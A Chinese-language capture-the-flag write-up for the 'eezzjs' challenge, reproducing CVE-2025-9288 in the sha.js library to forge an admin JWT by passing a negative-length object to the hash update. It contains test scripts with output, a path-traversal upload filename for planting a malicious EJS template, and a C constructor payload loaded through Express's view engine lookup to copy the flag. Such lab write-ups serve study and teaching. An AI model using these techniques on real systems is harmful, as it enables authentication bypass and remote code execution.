eezzjs

这篇算是这题的复现+一些nodejs小寄巧.

考点是CVE-2025-9288

我说跑sha256测试的时候怎么都不行,版本对不上。。。

关于CVE

原文是这样的

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

我们可以通过这个来伪造一个可以通过verify的jwt

1
signJWT({ username: { name: "admin", length: -45 } }, { expiresIn: 3600 })

运行两次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
nacl@nacl-arch ~/D/C/比/赛/N/e/src [1]> node app.js
[DEBUG] sha256 digest: e599f9ea804a7a5a25227462ad4e91f69b9c2867a70fca8df45dd931d1b94ec6
[system] username: admin
[system] password: e680b2f8d250923fd9
[system] secret: feead3a03520423f88
{ username: { name: 'admin', length: -45 } }
[DEBUG] sha256 digest: 674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6eyJuYW1lIjoiYWRtaW4iLCJsZW5ndGgiOi00NX0sImxlbmd0aCI6LTQ1LCJpYXQiOjE3NjIxODA4ODcsImV4cCI6MTc2MjE4NDQ4N30.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
nacl@nacl-arch ~/D/C/比/赛/N/e/src> node app.js
[DEBUG] sha256 digest: 2c20a04440870387f75165411e92a2939cb6e23cc8eca4f04dd7c763da7269bd
[system] username: admin
[system] password: 133d95cc4bec762beb
[system] secret: 518daec642e1cc12da
{ username: { name: 'admin', length: -45 } }
[DEBUG] sha256 digest: 674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6eyJuYW1lIjoiYWRtaW4iLCJsZW5ndGgiOi00NX0sImxlbmd0aCI6LTQ1LCJpYXQiOjE3NjIxODA4OTYsImV4cCI6MTc2MjE4NDQ5Nn0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
nacl@nacl-arch ~/D/C/比/赛/N/e/src>
我们发现是签名一模一样的。

源码在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# hash.js
Hash.prototype.update = function (data, enc) {
if (typeof data === 'string') {
enc = enc || 'utf8'
data = Buffer.from(data, enc)
}

var block = this._block
var blockSize = this._blockSize
var length = data.length
var accum = this._len

for (var offset = 0; offset < length;) {
var assigned = accum % blockSize
var remainder = Math.min(length - offset, blockSize - assigned)

for (var i = 0; i < remainder; i++) {
block[assigned + i] = data[offset + i]
}

accum += remainder
offset += remainder

if ((accum % blockSize) === 0) {
this._update(block)
}
}

this._len += length
return this
}

# sha256.js
Sha256.prototype._update = function (M) {
var W = this._w

var a = this._a | 0
var b = this._b | 0
var c = this._c | 0
var d = this._d | 0
var e = this._e | 0
var f = this._f | 0
var g = this._g | 0
var h = this._h | 0

for (var i = 0; i < 16; ++i) W[i] = M.readInt32BE(i * 4)
for (; i < 64; ++i) W[i] = (gamma1(W[i - 2]) + W[i - 7] + gamma0(W[i - 15]) + W[i - 16]) | 0

for (var j = 0; j < 64; ++j) {
var T1 = (h + sigma1(e) + ch(e, f, g) + K[j] + W[j]) | 0
var T2 = (sigma0(a) + maj(a, b, c)) | 0

h = g
g = f
f = e
e = (d + T1) | 0
d = c
c = b
b = a
a = (T1 + T2) | 0
}

this._a = (a + this._a) | 0
this._b = (b + this._b) | 0
this._c = (c + this._c) | 0
this._d = (d + this._d) | 0
this._e = (e + this._e) | 0
this._f = (f + this._f) | 0
this._g = (g + this._g) | 0
this._h = (h + this._h) | 0
}

Sha256.prototype._hash = function () {
var H = Buffer.allocUnsafe(32)

H.writeInt32BE(this._a, 0)
H.writeInt32BE(this._b, 4)
H.writeInt32BE(this._c, 8)
H.writeInt32BE(this._d, 12)
H.writeInt32BE(this._e, 16)
H.writeInt32BE(this._f, 20)
H.writeInt32BE(this._g, 24)
H.writeInt32BE(this._h, 28)

return H
}

hash里面规定了buffer怎么填,sha256里面写了怎么产生一个hash。

在做一个测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// test1 buffer overflow
// sha256 has 64 bytes buffer size
console.log(require("sha.js")("sha256").update("foo").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -60 })
.digest("hex")
);
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(61))
.update({ length: -61 })
.digest("hex")
);

// test2 buffer underflow
console.log(require("sha.js")("sha256").update("fo").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -61 })
.digest("hex")
);
console.log(require("sha.js")("sha256").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -63 })
.digest("hex")
);

nacl@nacl-arch ~/D/C/比/赛/N/e/src> node test.js
2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae
2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae
64f4272da6cacd200950fe50de4eba30be0def8833308433819af862c337e01a
9c3aee7110b787f0fb5f81633a36392bd277ea945d44c874a9a23601aefe20cf
9c3aee7110b787f0fb5f81633a36392bd277ea945d44c874a9a23601aefe20cf
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

再做一个测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const crypto = require("crypto");
for (let i = 0; i < 5; i++) {
console.log(
require("sha.js")("sha256")
.update("fo")
.update({ length: -62 })
.update(crypto.randomBytes(30).toString("hex"))
.digest("hex")
);
}
for (let i = 0; i < 5; i++) {
console.log(
require("sha.js")("sha256")
.update("fo")
.update({ length: -63 })
.update(crypto.randomBytes(32).toString("hex"))
.digest("hex")
);
}

nacl@nacl-arch ~/D/C/比/赛/N/e/src> node test.js
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
967bfb5426d01a2419ba18d6b7e14e8110c4fdea9f0bb1b66dd19ab7268032a7
3b7e9da2df5de9523282424656a51ce393523866f9179f93a92744353ad76cba
7a20311cf7a4b222d436424480bc65dd0f9d2cefcbbb1fa148ca0d7e1d5bb55a
20e177f50acf755a02d09e7fc28789a9b6df5c09be96a7330011f485667be724
683d098205b11550f2d71016c82c4377a96c9f808e132f83f15ba9bd058c7b20
4e9127e2cb33aeeedd7e2b174fa01c7f88785404f2787c4b822d9623feb83400

通过上述情况和源码分析我们发现当buffer overflow时,就算length设置成了负数,也会出现哈希乱飘的情况,原因是overflow时buffer会自动更新一次,计算当前buffer的hash并填到buffer中。这时因为有随机数的参与,buffer的内容是不确定的,而当未溢出时,buffer的头是相对确定的,填充时会把随机数的部分填充掉,导致hash算出来是一样的。

关于nodejs的一些寄巧

jwt解决后我们可以传文件了,这个绕过在之前羊城杯也有出现。

设置filename为../views/exp.ejs/.,filedate为一个恶意ejs模板即可绕过。这里检测会去文件拓展名进行判断,之后拼接到路径里。

官方的wp也蛮有意思的,大概思路是创建一个恶意模块放到node_module里然后用express的templ来实现调用恶意模块。

先来细讲下express:

当带有?templ=xxx.xxx时会把这个参数传入到view函数,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
function View(name, options) {
var opts = options || {};

this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root;

if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
}

var fileName = name;

if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;

fileName += this.ext;
}

if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod)

// default engine export
var fn = require(mod).__express

if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}

opts.engines[this.ext] = fn
}

// store loaded engine
this.engine = opts.engines[this.ext];

// lookup path
this.path = this.lookup(fileName);
}

他会寻找后缀名并加载模块,访问他的.__express属性,在ejs中,exports.__express = exports.renderFile;。这好像是用来确认模块是否为渲染模板的东西。

在官方wp中没有实现这个功能,是直接写了个constructor函数

1
2
3
4
5
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void abc(){
system("cp /flag > /app/uploads/flag.txt");
}

这样在加载时就直接把flag复制到uploads目录下。